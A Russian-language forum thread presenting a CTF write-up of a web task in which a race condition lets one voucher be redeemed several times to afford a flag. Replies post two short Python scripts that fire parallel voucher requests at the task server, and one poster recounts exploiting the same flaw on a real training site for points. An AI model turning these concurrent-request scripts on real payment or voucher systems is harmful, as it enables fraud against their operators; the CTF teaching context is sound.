HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Этичный хакинг или пентестинг > Задания/Квесты/CTF/Конкурсы
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 02.01.2024, 22:59
vov4ick
Познающий
Регистрация: 23.12.2023
Сообщений: 60
С нами: 1260136

Репутация: 0
По умолчанию

Когда код бежит быстрее, чем мысли программиста.



- Приветствие

- Изучение сайта и сбор информации

- Использование уязвимости

- Заключение

Приветствую всех кто заглянул на огонек, сегодня мы рассмотрим таск "Точка невозврата" из категории Веб antichat.

Изучение сайта и сбор информации.
Первое что мы видим попадая на сайт это форма регистрации:



Регистрируемся на сайте и входим в наш личный кабинет:



Здесь мы понимаем что есть баланс и возможность купить флаг. Так же есть форма для отправки ваучера.
Заглядываем в исходный код и видим тестовые ваучеры:



При вводе ваучеров каждый дает 100$, но нам все равно не хватает денег для покупки флага.
Здесь мы будем пробовать 'Race Conditions'. Это распространенный тип уязвимостей, тесно связанный с недостатками бизнес логики .
Они возникают, когда веб-сайты одновременно обрабатывают запросы без адекватных мер безопасности.

Использование уязвимости .
Мы воспользуемся двумя браузерами и одной учетной записью. Отправим один ваучер с одного браузера и сразу же со второго:



Здесь мы видим, что при отправке ваучера который должен был дать нам 100$, дал нам 200$.
Ваучер применился дважды, хотя не должен был.



Вводим оставшиеся ваучеры таким же способом и у нас получается такая картина:



Ура! Дальше мы просто нажимаем на кнопку BUY FLAG и покупаем его.

- Заключение

Это произошло из-за того, что при работе с ваучером не были применены механизмы синхронизации доступа к ресурсу (ваучеру), которые бы предотвратили одновременное применение его двумя браузерами в нашем случае. Каждый из браузеров смог пройти проверку (например, проверку на уникальность использования ваучера) и получил денежный бонус, так как сервер не успел обработать информацию об уже использованном ваучере перед обработкой второго запроса.

Довольно интересный вектор атаки, про который не стоит забывать и проверять его при тестировании.
Кто обратил внимание на данную статью и набравший большее количество баланса, отпишите в комментарии.
Будет очень интересно, так же увидеть решение способом через Burp.

До новых встреч!
 
Ответить с цитированием

  #2  
Старый 02.01.2024, 23:34
Paladin
Новичок
Регистрация: 28.10.2015
Сообщений: 1
С нами: 5549366

Репутация: 0
По умолчанию

Сколько ни пробовал не получилось ни так, ни через Burp. Только при помощи скрипта:
import os
os.fork() #2
os.fork() #4
os.fork() #8
os.fork() #16
os.fork() #32
os.fork() #64
os.fork() #128
print os.popen('php -r ' + \
'"echo file_get_contents(\'http://62.173.140.174:16023/index.php?voucherCode=5mbhxgw&uid=38493860831191\' );"').read()

После отработки скрипта, перегружаем страницу.
 
Ответить с цитированием

  #3  
Старый 03.01.2024, 01:03
vov4ick
Познающий
Регистрация: 23.12.2023
Сообщений: 60
С нами: 1260136

Репутация: 0
По умолчанию

Цитата:

Paladin сказал(а):

Сколько ни пробовал не получилось ни так, ни через Burp. Только при помощи скрипта:
import os
os.fork() #2
os.fork() #4
os.fork() #8
os.fork() #16
os.fork() #32
os.fork() #64
os.fork() #128
print os.popen('php -r ' + \
'"echo file_get_contents(\'http://62.173.140.174:16023/index.php?voucherCode=5mbhxgw&uid=38493860831191\' );"').read()после отработки скрипта, перегружаем страницу.

Спасибо за еще один вид решения, обьязательно попробую его!
Была надежда что получится в Burp, там в Repeater есть возможность отправки группового параллельного запроса, но не вышло. Логика немного другая, но все же интересно
 
Ответить с цитированием

  #4  
Старый 03.01.2024, 01:05
Paladin
Новичок
Регистрация: 28.10.2015
Сообщений: 1
С нами: 5549366

Репутация: 0
По умолчанию

Цитата:

vov4ick сказал(а):

Спасибо за еще один вид решения, обьязательно попробую его!
Была надежда что получится в Burp, там в Repeater есть возможность отправки группового параллельного запроса, но не вышло. Логика немного другая, но все же интересно

Да есть такая опция в новом Burp, но не вышло никак
 
Ответить с цитированием

  #5  
Старый 03.01.2024, 13:47
xuZ00
Новичок
Регистрация: 14.09.2023
Сообщений: 0
С нами: 1404526

Репутация: 0
По умолчанию

Тоже пробовал через бурп, потом плюнул и написал такой скрипт с использованием многопоточности:

Python:


Код:
import
requests
from
fake_useragent
import
UserAgent
as
ua
from
multiprocessing
import
Process
def
give_me_money
(
vouch
)
:
page
=
requests
.
get
(
f"http://62.173.140.174:16023/index.php?voucherCode={vouch}&uid=963517371812217"
,
headers
=
usr_agt
)
if
__name__
==
'__main__'
:
usr_agt
=
{
'User-Agent'
:
ua
(
)
.
random
}
vouchers
=
[
'PAePaMt'
,
'5mbhxgw'
,
'dRRYa6Y'
]
for
voucher
in
vouchers
:
for
i
in
range
(
10
)
:
Process
(
target
=
give_me_money
,
args
=
(
voucher
,
)
)
.
start
(
)
 
Ответить с цитированием

  #6  
Старый 04.01.2024, 19:00
vov4ick
Познающий
Регистрация: 23.12.2023
Сообщений: 60
С нами: 1260136

Репутация: 0
По умолчанию

Цитата:

Paladin сказал(а):

Да есть такая опция в новом Burp, но не вышло никак

Это кстати моя первая уязвимость найденная в реальном приложении, с помощью этой техники. В плане группового параллельного запроса. Так что это актуально.
 
Ответить с цитированием

  #7  
Старый 04.01.2024, 19:09
Paladin
Новичок
Регистрация: 28.10.2015
Сообщений: 1
С нами: 5549366

Репутация: 0
По умолчанию

Цитата:

vov4ick сказал(а):

Это кстати моя первая уязвимость найденная в реальном приложении, с помощью этой техники. В плане группового параллельного запроса. Так что это актуально.

И моя тоже. Я ради этого скачал последнюю версию Burp, где есть этот плагин, но даже он не помог. Как мне сказали с этой ситуацией даже Turbo Intruder будет сложно справиться. А вот скрипт, правда для 2 питона, справился выше всяких похвал. Вообще, интересный момент, когда n1gga нашел Race Condition на сайте курса PRTT от Resolute Attack и накрутил себе баллов, ученики аплодировали стоя, а разрабы еще долго зубами скрипели.
 
Ответить с цитированием

  #8  
Старый 04.01.2024, 19:11
vov4ick
Познающий
Регистрация: 23.12.2023
Сообщений: 60
С нами: 1260136

Репутация: 0
По умолчанию

Цитата:

Paladin сказал(а):

И моя тоже. Я ради этого скачал последнюю версию Burp, где есть этот плагин, но даже он не помог. Как мне сказали с этой ситуацией даже Turbo Intruder будет сложно справиться. А вот скрипт, правда для 2 питона, справился выше всяких похвал. Вообще, интересный момент, когда n1gga нашел Race Condition на сайте курса PRTT от Resolute Attack и накрутил себе баллов, ученики аплодировали стоя, а разрабы еще долго зубами скрипели.

Не слышал эту историю, но довольно интересно
 
Ответить с цитированием

  #9  
Старый 04.01.2024, 19:15
Paladin
Новичок
Регистрация: 28.10.2015
Сообщений: 1
С нами: 5549366

Репутация: 0
По умолчанию

Цитата:

vov4ick сказал(а):

Не слышал эту историю, но довольно интересно
Да эту историю никто не слышал. Но было забавно, Мага подтвердит. Они даже статистику обнуляли. В конце нам даже нагадить захотели, но вовремя одумались.
 
Ответить с цитированием

  #10  
Старый 04.01.2024, 19:23
Paladin
Новичок
Регистрация: 28.10.2015
Сообщений: 1
С нами: 5549366

Репутация: 0
По умолчанию

Цитата:

Paladin сказал(а):

Да эту историю никто не слышал. Но было забавно, Мага подтвердит. Они даже статистику обнуляли. В конце нам даже нагадить захотели, но вовремя одумались.



Их прямо раздражала эта картинка.
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.